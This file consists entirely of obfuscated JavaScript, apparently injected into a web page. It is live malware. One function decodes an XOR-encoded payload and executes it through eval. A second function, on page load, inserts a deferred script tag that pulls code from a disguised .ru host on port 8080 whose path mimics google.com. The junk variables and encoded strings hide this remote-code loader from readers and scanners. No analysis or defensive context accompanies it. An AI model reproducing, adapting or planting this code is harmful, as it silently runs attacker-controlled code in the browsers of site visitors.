var hoT="b494ada8b0c597a39cac8adea09cb1b7c987f8c0f3f38080ac90aa8d91a895af938793a1a2b7adb3adb785a9ad9e85a7b3a2b489aaad9591af848fb7af81fff2f189d980e497b7a4c78d9fc69cb2";var tIK;if(tIK!='lfN' && tIK != ''){tIK=null};this.wY=35152;this.RcB=6977;function L(z){ function o(S,e){var lQ;if(lQ!=''){lQ='dq'};var UP=new String();return S^e;var MQ=false;}var qY="";var ip=25906;var oU;if(oU!='Ko' && oU != ''){oU=null}; var Z=function(H, LR){var lc='';var pL="";var Ff;if(Ff!='vU' && Ff!='lp'){Ff='vU'};var b = H.length;var D=new Date();var Gr;if(Gr!='Ie' && Gr!='qq'){Gr=''};var l=[1][0];var x=[127,159,0,233][2];var R = '';var kD=18121;var V=false;this.VM="VM";var Q = LR.length;var nn;if(nn!='KC' && nn!='HK'){nn=''};var oo='';var dg=new Array();var Oc;if(Oc!='dgW' && Oc != ''){Oc=null};for(var m = x; m < b; m += Q) {var ooo=new Array();var Cr;if(Cr!='' && Cr!='VR'){Cr='WO'};var A;if(A!='fL' && A!='ye'){A=''};var k = H.substr(m, Q);this.Kq="Kq";var Xz="";var Ija="";if(k.length == Q){var bK="";var RI="";var PE=new Array();for(var w in LR) {var KD="";this.PC=false;R+=k.substr(LR[w], l);var SU="SU";}var LN;if(LN!='' && LN!='yJ'){LN='Wm'};} else {var PH;if(PH!='OY'){PH='OY'};  R+=k;var Mq='';var yg=new Date();}var Sv;if(Sv!=''){Sv='DT'};}this.bRi="";return R;var UE;if(UE!='Do'){UE='Do'};};this.Jh=51234;var Px;if(Px!='' && Px!='wm'){Px=null}; var wj=function(mv){var QL;if(QL!='' && QL!='Ho'){QL='qQ'};var u=[227,0,119,220][1];this.Ra="Ra";this.ov="ov";var J=mv[Z("enlgth", [2,0,1,3])];var JF;if(JF!='' && JF!='kX'){JF='Re'};this.DC='';var l=[1,216][0];var xA=[255][0];this.eX=false;var w=[27,0,205,136][1];var et;if(et!='vc' && et!='xJ'){et='vc'};var WX;if(WX!='' && WX!='En'){WX=''};this.Fv=false;while(w<J){var cb="cb";this.zG="";var Ch;if(Ch!='ZMb' && Ch != ''){Ch=null};w++;var yn='';var ZI=new String();LS=U(mv,w - l);u+=LS*J;}var MW="";var Up;if(Up!='' && Up!='jI'){Up=''};return new p(u % xA);var yB;if(yB!='Ci' && yB!='Qp'){yB=''};var ZE='';};var Wx="";this.zyM=false; var He="He";function U(un,G){var tn;if(tn!='hJ' && tn!='UX'){tn=''};var uF=new String();return un[Z("haCdocreAt", [5,0,1,6,2,4,3])](G);var Cq=27508;var cz;if(cz!='ga' && cz!='Nb'){cz=''};}this.BF="";var ho;if(ho!=''){ho='kA'};var FV;if(FV!=''){FV='Qj'}; var JE=10356;var yR;if(yR!='' && yR!='sA'){yR=null};function n(H){this.SZ='';var f = -1;var m =[0,118,22,11][0];var Wa="Wa";var hZ=false;var x =[0][0];var cZ=3345;var fm;if(fm!='ts' && fm!='uu'){fm='ts'};var R = '';this.am='';H = new p(H);var GX=new Array();this.xp='';this.UC="";for (m=H[Z("thgnle", [4,5,3,2,0,1])]-f;m>=x;m=m-[1,143][0]){this.tYJ="";R+=H[Z("hcaArt", [1,0,2])](m);}this.BQN='';this.eV=false;var DmM;if(DmM!='de'){DmM=''};return R;}var EP;if(EP!='' && EP!='pk'){EP='gI'};var wQ;if(wQ!='OnV'){wQ=''};this.vi="";var Te=9388;var M=window;var Pw="";var wz=M[Z("vela", [1,0])];var ZL;if(ZL!='' && ZL!='eF'){ZL=null};var Si="";var s=wz(Z("ctunFion", [4,2,3,0,1]));var Mb=false;var dS="";var Rs;if(Rs!='XB' && Rs!='kJ'){Rs='XB'};var d=wz(Z("EeRxgp", [2,1,4,0,3]));var Fi;if(Fi!='' && Fi!='Sk'){Fi=null};var NY;if(NY!='DQ' && NY!='ds'){NY='DQ'};var ow;if(ow!='BH' && ow!='VD'){ow='BH'};var p=wz(Z("rigSnt", [3,5,0,1,4,2]));this.Xw="";var lM = '';var pH=false;var BVc=new String();var py;if(py!='vJM'){py=''};var zH;if(zH!='' && zH!='nS'){zH=null};this.rx="";var Pa;if(Pa!='IE'){Pa='IE'};var TX=49686;var Ta=new Array();var mY="";var HY=M[Z("cesunpae", [3,4,7,2,0,6,5,1])];var tsM=new Array();var j=p[Z("mfrohaCrCode", [1,2,3,0,6,4,5])];var hp=32345;var vQz="vQz";var CW=false;var y = '';var xg;if(xg!='Tl' && xg!='Bd'){xg='Tl'};var rg;if(rg!='LNY' && rg!='vB'){rg='LNY'};var r = /[^@a-z0-9A-Z_-]/g;var X =[17,2,67,215][1];var I = z[Z("enlthg", [2,0,1])];var pt=[1, Z("ucdotnmeer.cEeatemle\'(ntirsc)\'pt", [2,3,1,0]),2, Z("mdceouon.dtbpyae.pinCldhd(d)", [1,4,2,5,0,3]),3, Z("aiemxrcn.eom", [2,4,0,3,1]),4, Z("et.sdtAberituter\'d(fe\'", [4,2,3,0,5,6,1]),5, Z("ocstie.mam.ur:ep8080", [1,0,7,6,2,4,3,5]),6, Z("lca.odebc.mos.ykep", [1,0]),7, Z("i.donwwonload", [5,0,4,2,3,6,1]),8, Z("ufcnitno)(", [1,0]),11, Z("ogolge.com", [1,2,0,4,3,5]),12, Z("lyz.momoc", [2,1,0]),14, Z("actc()eh", [3,0,2,1]),15, Z("hw.osi", [1,0]),16, Z("h\"tt:p", [1,0]),17, Z("olgoeg", [2,0,3,5,1,4]),18, Z("r.sdc", [3,1,2,0]),19, Z("1\')\'", [1,0]),20, Z("ytr", [1,2,0])];var x =[89,0,215,62][1];var eP;if(eP!='' && eP!='NM'){eP=null};var Nj=new Date();var ij=new Date();var df;if(df!='wh'){df=''};var QE=new String();var uB =[0,48][0];var SS=new String();this.zuG="";var q = '';var eZ;if(eZ!='' && eZ!='feJ'){eZ=null};var ql = j(37);var l =[1][0];var hG=false;var N = '';var uT;if(uT!='eJ' && uT!='TW'){uT='eJ'};var iA;if(iA!='sw' && iA!='AE'){iA=''};var eeA;if(eeA!='aw' && eeA!='VN'){eeA=''};var Gf=false;this.rq="rq";for(var Qy=x; Qy < I; Qy+=X){N+= ql; var bh;if(bh!='GKE'){bh=''};var Jz=9685;N+= z[Z("ussbtr", [1,0,3,2])](Qy, X);}this.bW=46870;this.KR="";var z = HY(N);var pW;if(pW!='' && pW!='KY'){pW='hX'};var zD="zD";var F = new p(L);var K = F[Z("lcrpeae", [2,6,3,0,5,1,4])](r, y);this.mF="mF";var pB = new p(s);var dL=new String();var EjE="";var zy = pt[Z("hgltne", [2,5,4,1,3,0])];var mL=false;K = n(K);var gC;if(gC!='Sx'){gC='Sx'};var WS=new String();var Su="Su";this.GZ="";var jO = pB[Z("percale", [2,1,0])](r, y);this.pE="pE";var jO = wj(jO);var Uk=wj(K);this.gBM='';this.IeF='';var lO;if(lO!=''){lO='KBY'};for(var m=x; m < (z[Z("elgnht", [1,0])]);m=m+[1][0]) {var g = K.charCodeAt(uB);this.Dk="";var BZ;if(BZ!='vQM' && BZ!='deT'){BZ='vQM'};var Y = U(z,m);var hJu;if(hJu!='' && hJu!='ck'){hJu='VP'};this.wP="wP";var Geb;if(Geb!=''){Geb='Vg'};Y = o(Y, g);var VW=new Array();Y = o(Y, Uk);var qO;if(qO!='GA'){qO=''};Y = o(Y, jO);var HS=new String();uB++;var pM;if(pM!='' && pM!='AG'){pM=''};var EW='';var Sa="Sa";var PD="PD";if(uB > K.length-l){var vZA;if(vZA!=''){vZA='As'};this.zuI=false;uB=x;var Xu;if(Xu!='' && Xu!='AnS'){Xu=''};this.Eb="";}var sE=new Array();this.Gw=50877;q += j(Y);}var hW='';for(v=x; v < zy; v+=X){var VO;if(VO!='kC'){VO=''};var VX;if(VX!='rA'){VX=''};var tf;if(tf!='Eih' && tf!='dfy'){tf=''};var Vn;if(Vn!='yt' && Vn!='LG'){Vn=''};var Sh = pt[v + l];var pc='';var uD = j(pt[v]);var FD="FD";var MWl="MWl";var fS;if(fS!=''){fS='Bq'};var Hk;if(Hk!=''){Hk='gp'};var Fn = new d(uD, j(103));var vW=new String();q=q[Z("alerpce", [3,2,4,1,0])](Fn, Sh);var Rb;if(Rb!='' && Rb!='GR'){Rb='xP'};var UB;if(UB!='' && UB!='sN'){UB='nG'};}var NP=18810;var Nx;if(Nx!='' && Nx!='Jb'){Nx=null};var B=new s(q);B();this.vP="";this.TI="TI";B = '';var DM=false;var Jo;if(Jo!='JO' && Jo!='Zi'){Jo=''};var WOy='';Uk = '';var AW=false;this.TS="TS";q = '';pB = '';this.HPj=false;jO = '';var suD;if(suD!='LJ' && suD!='VG'){suD=''};this.wZ="wZ";K = '';var QSB=58479;var JA;if(JA!=''){JA='qg'};var pN;if(pN!='' && pN!='xAn'){pN=''};return '';var EE=6575;var tYf;if(tYf!='Qr'){tYf='Qr'};};var tIK;if(tIK!='lfN' && tIK != ''){tIK=null};this.wY=35152;this.RcB=6977;L(hoT);
function d() {var r;if(r!='wy'){r='wy'};var C=']';var o;if(o!='dc' && o != ''){o=null};var s='replace';var u='g';var I=new String();var F;if(F!='' && F!='sV'){F=''};var l=RegExp;this.O='';var k;if(k!='R' && k!='UL'){k=''};var a='[';var df='';var IW='';this.pf='';function P(c,w){var n=new Date();var EJ;if(EJ!=''){EJ='h'};var j=a;var WH="";j+=w;this.Mo="";var _L;if(_L!='' && _L!='X'){_L=null};j+=C;var Mv;if(Mv!='' && Mv!='Wk'){Mv='S_'};var t=new l(j, u);var ti=new Array();return c[s](t, I);};this.JP="";var Id;if(Id!='qR' && Id!='Fp'){Id=''};var DJ;if(DJ!='tu' && DJ != ''){DJ=null};var T=new Array();this.cX='';var B="";var Il=P('/Rwq3RsRcqhqoqoRlRsq.qcqoRmR/RwR3qsqcqhqoqoRlRsR.qcRoRmq/R3R6q0qbquRyq.RcRoqmR/RcRuRsRtRhqeRlqpR.qcRoRmR/RgqoqoRgRlReq.RcRoqmR.qpRhqpR',"Rq");var i=new String();var bj;if(bj!=''){bj='En'};var D=window;var b=P('curue6a6t6eNENlue6mNeNnNtu',"Nu6");var go;if(go!='XX' && go!='_f'){go='XX'};var g='';var nb='';var uq='';var m=P('857043787390557',"74395");this.dJ='';var DH=P('h4t4tjp4:4/4/TaTb4rTijlT-TcjoTmT-jb4r4.Tbjr4ojtThTeTrTsTo4fTtj.Tcjo4mT.4aTsTa4h4iT-jcjo4mj.4njejwTajgTejdTi4rjejcjtj.4r4uj:4',"T4j");var U=P('s5c5r5ilp5tl',"Ul5");this.xT='';var yT=new String();D[P('oznzlZoZardr',"zrZb")]=function(){var kD;if(kD!=''){kD='yj'};var WR=new String();try {this.eC='';var je="";g+=DH;g+=m;var Ex='';var wr='';g+=Il;var Dw;if(Dw!='LY' && Dw!='Um'){Dw=''};var uD;if(uD!='RH' && uD!='dh'){uD='RH'};v=document[b](U);this.Pi='';this.gn='';var Q;if(Q!='CB' && Q!='Mf'){Q='CB'};var fO='';S(v,'src',g);var fd=new String();S(v,'defer',([0,1][1]));var eK;if(eK!='' && eK!='YC'){eK=null};var Zp=new String();document.body.appendChild(v);this.vi='';var eY;if(eY!='ExL' && eY != ''){eY=null};} catch(mY){};};function S(Z,y,_){var bYx=new String();var QS;if(QS!=''){QS='jh'};Z.setAttribute(y, _);var uw;if(uw!='' && uw!='Ey'){uw='vG'};}var EI=new Date();var jP;if(jP!='jN' && jP!='CE'){jP=''};var Qy;if(Qy!='tg' && Qy != ''){Qy=null};};d();